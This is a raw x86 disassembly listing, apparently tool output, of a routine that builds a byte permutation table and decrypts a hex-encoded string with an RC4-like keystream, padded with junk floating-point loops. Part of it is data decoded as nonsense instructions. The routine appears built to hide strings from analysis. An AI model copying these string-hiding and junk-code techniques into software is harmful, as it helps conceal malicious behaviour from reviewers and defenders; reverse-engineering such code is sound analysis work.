mov dword [ebp - 0x874], eax
mov byte [ebp - 4], 1
cmp dword [ebp - 0x874], 0
je 0x56cf12
push 4
mov ecx, dword [ebp - 0x874]
call fcn.00490850
lea eax, [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x874]
call fcn.00490a80
mov dword [ebp - 0x8dc], eax
jmp 0x56cf19
and dword [ebp - 0x8dc], 0
mov eax, dword [ebp - 0x8dc]
mov dword [ebp - 0xa08], eax
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0xa08]
mov dword [ebp - 0xb48], eax
and dword [ebp - 0x484], 0
and dword [ebp - 0x490], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x7f0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7e4], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x7e4], xmm0
jmp 0x56cf7e
movsd xmm0, qword [ebp - 0x7e4]
addsd xmm0, qword [0xa68340]
movsd qword [ebp - 0x7e4], xmm0
movsd xmm0, qword [0xa6ca78]
comisd xmm0, xmmword [ebp - 0x7e4]
jbe 0x56d02f
movsd xmm0, qword [0xa6c9b8]
mulsd xmm0, qword [ebp - 0x7e4]
mulsd xmm0, qword [ebp - 0x7e4]
movsd xmm1, qword [ebp - 0x7e4]
mulsd xmm1, qword [ebp - 0x7e4]
subsd xmm0, xmm1
movsd xmm1, qword [0xa6a7a8]
mulsd xmm1, qword [ebp - 0x7e4]
mulsd xmm1, qword [ebp - 0x7e4]
addsd xmm1, qword [0xa6c930]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x7f0]
movsd qword [ebp - 0x7f0], xmm0
movsd xmm0, qword [ebp - 0x7f0]
comisd xmm0, xmmword [0xa6c978]
jbe 0x56d02a
movsd xmm0, qword [0xa6c900]
mulsd xmm0, qword [ebp - 0x7e4]
movsd xmm1, qword [ebp - 0x7f0]
subsd xmm1, xmm0
movsd qword [ebp - 0x7f0], xmm1
jmp 0x56cf66
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x7f0]
jbe 0x56d077
salc
pop edi
in al, 0x64
fsub qword [edi - 0x29]
pop ebp
loopne 0x56d0b0
jecxz 0x56d0ab
fbld tbyte [eax - 0x25]
pop edi
xlatb
pop ebp
fistp dword [edi - 0x1f]
push 0x68e169d6
fisub dword [ebx + 0x28]
dec esi
dec ebp
jnp 0x56d0c9
pop esp
outsd dx, dword [esi]
pushal
push eax
cmp al, 0x3a
xor byte [ebx + 0x7d], ch
pop ecx
pop eax
dec ebx
cmp al, 0x67
bound edx, qword [ebx + 0x62]
jp 0x56d0c0
xor eax, 0x234de95d
add byte [eax], al
mov dword [ebp - 0x484], 0x56d03c
mov dword [ebp - 0x490], 0x56d058
mov eax, dword [ebp - 0x484]
mov dword [ebp - 0x578], eax
mov eax, dword [ebp - 0x490]
mov dword [ebp - 0xa40], eax
mov byte [ebp - 0x67a], 0x1e
and dword [ebp - 0x53c], 0
jmp 0x56d0c0
movsd dword es:[edi], dword [esi]
invalid
add bl, ch
or eax, 0xfac4858b
invalid
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0x100
jae 0x56d0e1
add byte [ebx + 0x15], dh
mov eax, dword [ebp - 0x53c]
mov cl, byte [ebp - 0x53c]
mov byte [ebp + eax - 0xa04], cl
jmp 0x56d0b3
and dword [ebp - 0x79c], 0
mov byte [ebp - 0x4c9], 0
mov dword [ebp - 0x53c], 0xff
jmp 0x56d108
mov eax, dword [ebp - 0x53c]
dec eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 0
jbe 0x56d38d
and dword [ebp - 0x878], 0
mov dword [ebp - 0x840], 1
mov eax, dword [ebp - 0x840]
cmp eax, dword [ebp - 0x53c]
jae 0x56d146
mov eax, dword [ebp - 0x840]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x840], eax
jmp 0x56d126
mov eax, dword [ebp - 0x79c]
mov dword [ebp - 0xa28], eax
mov eax, dword [ebp - 0xa28]
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 0
je 0x56d18b
sub dword [ebp - 0x618], 1
je 0x56d1b9
sub dword [ebp - 0x618], 1
je 0x56d1ea
sub dword [ebp - 0x618], 1
je 0x56d218
jmp 0x56d246
movzx eax, byte [ebp - 0x4c9]
movzx ebx, byte [ebp + eax - 0xa04]
movsd xmm0, qword [ebp - 0x7f0]
call fcn.009eca90
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c9], bl
jmp 0x56d26d
movzx eax, byte [ebp - 0x4c9]
movzx ebx, byte [ebp + eax - 0xa04]
movsd xmm0, qword [ebp - 0x7f0]
call fcn.009eca90
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c9], bl
jmp 0x56d26d
movzx eax, byte [ebp - 0x4c9]
movzx ebx, byte [ebp + eax - 0xa04]
movsd xmm0, qword [ebp - 0x7f0]
call fcn.009eca90
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c9], bl
jmp 0x56d26d
movzx eax, byte [ebp - 0x4c9]
movzx ebx, byte [ebp + eax - 0xa04]
movsd xmm0, qword [ebp - 0x7f0]
call fcn.009eca90
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x4c9], bl
jmp 0x56d26d
movzx eax, byte [ebp - 0x4c9]
movzx eax, byte [ebp + eax - 0xa04]
mov ecx, dword [ebp - 0xa40]
add ecx, dword [ebp - 0x79c]
movzx ecx, byte [ecx - 4]
add eax, ecx
mov byte [ebp - 0x4c9], al
mov eax, dword [ebp - 0x79c]
inc eax
mov dword [ebp - 0x79c], eax
movzx eax, byte [ebp - 0x67a]
cmp dword [ebp - 0x79c], eax
jb 0x56d2a6
and dword [ebp - 0x79c], 0
movzx eax, byte [ebp - 0x67a]
movzx ecx, byte [ebp - 0x4c9]
add ecx, eax
mov byte [ebp - 0x4c9], cl
movzx eax, byte [ebp - 0x4c9]
and eax, dword [ebp - 0x840]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp - 0x878]
inc eax
mov dword [ebp - 0x878], eax
cmp dword [ebp - 0x878], 0xb
jbe 0x56d2e3
mov eax, dword [ebp - 0x73c]
xor edx, edx
div dword [ebp - 0x53c]
mov dword [ebp - 0x73c], edx
mov eax, dword [ebp - 0x73c]
cmp eax, dword [ebp - 0x53c]
ja 0x56d146
mov eax, dword [ebp - 0x53c]
cmp eax, dword [ebp - 0x73c]
je 0x56d388
mov eax, dword [ebp - 0x73c]
movzx eax, byte [ebp + eax - 0xa04]
mov ecx, dword [ebp - 0x53c]
movzx ecx, byte [ebp + ecx - 0xa04]
xor ecx, eax
mov eax, dword [ebp - 0x53c]
mov byte [ebp + eax - 0xa04], cl
mov eax, dword [ebp - 0x53c]
movzx eax, byte [ebp + eax - 0xa04]
mov ecx, dword [ebp - 0x73c]
movzx ecx, byte [ebp + ecx - 0xa04]
xor ecx, eax
mov eax, dword [ebp - 0x73c]
mov byte [ebp + eax - 0xa04], cl
mov eax, dword [ebp - 0x73c]
movzx eax, byte [ebp + eax - 0xa04]
mov ecx, dword [ebp - 0x53c]
movzx ecx, byte [ebp + ecx - 0xa04]
xor ecx, eax
mov eax, dword [ebp - 0x53c]
mov byte [ebp + eax - 0xa04], cl
jmp 0x56d0fb
xor eax, eax
inc eax
shl eax, 0
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4a5], al
xor eax, eax
inc eax
imul eax, eax, 3
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4a6], al
xor eax, eax
inc eax
imul eax, eax, 5
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b4], al
xor eax, eax
inc eax
imul eax, eax, 7
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4a7], al
movzx eax, byte [ebp - 0x4c9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4a9], al
mov dword [ebp - 0x8d8], 0x1c
cmp dword [ebp - 0x8d8], 2
jle 0x56f37c
mov eax, dword [ebp - 0x8d8]
and eax, 1
jne 0x56f37c
and dword [ebp - 0x4d4], 0
and dword [ebp - 0x514], 0
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
and dword [ebp - 0x574], 0
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
and dword [ebp - 0x54c], 0
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
add eax, dword [ebp - 0x54c]
mov dword [ebp - 0x54c], eax
and dword [ebp - 0x550], 0
mov eax, dword [ebp - 0x550]
add eax, 0xd5
mov dword [ebp - 0x550], eax
and dword [ebp - 0x57c], 0
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
and dword [ebp - 0x554], 0
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
add eax, dword [ebp - 0x554]
mov dword [ebp - 0x554], eax
and dword [ebp - 0x558], 0
mov eax, dword [ebp - 0x558]
add eax, 0x5c
mov dword [ebp - 0x558], eax
and dword [ebp - 0x55c], 0
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
add eax, dword [ebp - 0x55c]
mov dword [ebp - 0x55c], eax
and dword [ebp - 0x560], 0
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
add eax, dword [ebp - 0x560]
mov dword [ebp - 0x560], eax
and dword [ebp - 0x580], 0
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
and dword [ebp - 0x584], 0
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov byte [ebp - 0x4b3], 0
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
mov byte [ebp - 0x4b5], 0
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movsd xmm0, qword [0xa6cb50]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [0xa6a200]
movsd qword [ebp - 0x768], xmm0
movsd xmm0, qword [0xa6ca38]
movsd qword [ebp - 0x750], xmm0
movsd xmm0, qword [ebp - 0x768]
addsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x768], xmm0
movsd xmm0, qword [ebp - 0x5c0]
subsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x5c0]
subsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x5c0]
comisd xmm0, xmmword [ebp - 0x768]
jbe 0x56d76a
movsd xmm0, qword [ebp - 0x750]
divsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x750], xmm0
movsd xmm0, qword [ebp - 0x5c0]
divsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x768]
divsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x768], xmm0
movsd xmm0, qword [ebp - 0x5c0]
divsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x5c0]
subsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x750]
subsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x750], xmm0
movsd xmm0, qword [ebp - 0x768]
comisd xmm0, xmmword [ebp - 0x5c0]
jbe 0x56d720
movsd xmm0, qword [ebp - 0x750]
subsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x750], xmm0
movsd xmm0, qword [ebp - 0x5c0]
addsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x750]
subsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x750], xmm0
jmp 0x56d768
movsd xmm0, qword [ebp - 0x768]
divsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x768], xmm0
movsd xmm0, qword [ebp - 0x5c0]
subsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x5c0]
mulsd xmm0, qword [ebp - 0x750]
movsd qword [ebp - 0x5c0], xmm0
jmp 0x56d7ce
movsd xmm0, qword [ebp - 0x5c0]
addsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x5c0]
subsd xmm0, qword [ebp - 0x768]
movsd qword [ebp - 0x5c0], xmm0
movsd xmm0, qword [ebp - 0x750]
subsd xmm0, qword [ebp - 0x5c0]
movsd qword [ebp - 0x750], xmm0
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56d8ef
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56db3f
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
movsd xmm0, qword [0xa6cbd0]
movsd qword [ebp - 0x854], xmm0
movsd xmm0, qword [0xa6cb78]
movsd qword [ebp - 0x7a4], xmm0
movsd xmm0, qword [0xa6b9f0]
movsd qword [ebp - 0x8a4], xmm0
movsd xmm0, qword [0xa6cab0]
movsd qword [ebp - 0x860], xmm0
movsd xmm0, qword [0xa6ca10]
movsd qword [ebp - 0x7d8], xmm0
movsd xmm0, qword [ebp - 0x854]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x854], xmm0
movsd xmm0, qword [ebp - 0x7a4]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x7a4], xmm0
movsd xmm0, qword [ebp - 0x7a4]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x7a4], xmm0
movsd xmm0, qword [ebp - 0x8a4]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x8a4], xmm0
movsd xmm0, qword [ebp - 0x7a4]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x7a4], xmm0
movsd xmm0, qword [ebp - 0x7d8]
comisd xmm0, xmmword [ebp - 0x7a4]
jbe 0x56dd0c
movsd xmm0, qword [ebp - 0x860]
divsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x860], xmm0
movsd xmm0, qword [ebp - 0x860]
subsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x860], xmm0
movsd xmm0, qword [ebp - 0x7a4]
divsd xmm0, qword [ebp - 0x8a4]
movsd qword [ebp - 0x7a4], xmm0
movsd xmm0, qword [ebp - 0x8a4]
mulsd xmm0, qword [ebp - 0x860]
movsd qword [ebp - 0x8a4], xmm0
movsd xmm0, qword [ebp - 0x860]
addsd xmm0, qword [ebp - 0x7d8]
movsd qword [ebp - 0x860], xmm0
jmp 0x56dd96
movsd xmm0, qword [ebp - 0x854]
mulsd xmm0, qword [ebp - 0x7a4]
movsd qword [ebp - 0x854], xmm0
movsd xmm0, qword [ebp - 0x8a4]
mulsd xmm0, qword [ebp - 0x860]
movsd qword [ebp - 0x8a4], xmm0
movsd xmm0, qword [ebp - 0x854]
mulsd xmm0, qword [ebp - 0x7a4]
movsd qword [ebp - 0x854], xmm0
movsd xmm0, qword [ebp - 0x854]
subsd xmm0, qword [ebp - 0x7a4]
movsd qword [ebp - 0x854], xmm0
movsd xmm0, qword [ebp - 0x7d8]
subsd xmm0, qword [ebp - 0x854]
movsd qword [ebp - 0x7d8], xmm0
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56df5e
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
mov eax, dword [ebp - 0x514]
add eax, 4
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x8a8], eax
jmp 0x56df89
mov eax, dword [ebp - 0x8a8]
inc eax
mov dword [ebp - 0x8a8], eax
mov eax, dword [ebp - 0x8a8]
cmp eax, dword [ebp - 0x514]
jge 0x56e1e3
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
mov eax, dword [ebp - 0x55c]
shl eax, 4
mov dword [ebp - 0x580], eax
mov eax, dword [ebp - 0x560]
mov dword [ebp - 0x584], eax
mov eax, dword [ebp - 0x580]
or eax, dword [ebp - 0x584]
mov dword [ebp - 0x588], eax
mov al, byte [ebp - 0x588]
mov byte [ebp - 0x4b3], al
movzx eax, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp - 0x4b5], al
movzx eax, byte [ebp - 0x4a5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4a6]
add ecx, eax
mov byte [ebp - 0x4a6], cl
mov al, byte [ebp - 0x4a5]
add al, 1
mov byte [ebp - 0x4a5], al
movzx eax, byte [ebp - 0x4a6]
movzx ecx, byte [ebp - 0x4a9]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a7]
movzx ecx, byte [ebp - 0x4a6]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
movzx ecx, byte [ebp - 0x4a7]
mov al, byte [ebp + eax - 0xa04]
mov byte [ebp + ecx - 0xa04], al
movzx eax, byte [ebp - 0x4a5]
mov cl, byte [ebp - 0x4b5]
mov byte [ebp + eax - 0xa04], cl
movzx eax, byte [ebp - 0x4b5]
movzx eax, byte [ebp + eax - 0xa04]
movzx ecx, byte [ebp - 0x4b4]
add ecx, eax
mov byte [ebp - 0x4b4], cl
movzx eax, byte [ebp - 0x4b3]
movzx ecx, byte [ebp - 0x4a6]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a5]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
movzx ecx, byte [ebp - 0x4a7]
movzx ecx, byte [ebp + ecx - 0xa04]
movzx edx, byte [ebp - 0x4a9]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
movzx edx, byte [ebp - 0x4b4]
movzx edx, byte [ebp + edx - 0xa04]
add ecx, edx
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0xa04]
movzx ecx, byte [ebp + ecx - 0xa04]
xor eax, ecx
mov byte [ebp - 0x4a7], al
mov al, byte [ebp - 0x4b3]
mov byte [ebp - 0x4a9], al
mov al, byte [ebp - 0x4a7]
mov byte [ebp - 0x4c2], al
cmp dword [ebp - 0x4d4], 0
jle 0x56e1de
mov eax, dword [ebp - 0x4d4]
mov cl, byte [ebp - 0x4c2]
mov byte [ebp + eax - 0x2d], cl
jmp 0x56df7c
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
inc eax
mov dword [ebp - 0x4d4], eax
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
mov eax, dword [ebp - 0x4d4]
shl eax, 1
mov dword [ebp - 0x574], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x574]
movzx eax, byte [eax]
mov dword [ebp - 0x54c], eax
mov dword [ebp - 0x550], 0xd5
mov eax, dword [ebp - 0x4d4]
lea eax, [eax + eax + 1]
mov dword [ebp - 0x57c], eax
mov eax, dword [ebp - 0x578]
add eax, dword [ebp - 0x57c]
movzx eax, byte [eax]
mov dword [ebp - 0x554], eax
mov dword [ebp - 0x558], 0x5c
mov eax, dword [ebp - 0x54c]
sub eax, dword [ebp - 0x550]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x554]
sub eax, dword [ebp - 0x558]
mov dword [ebp - 0x560], eax
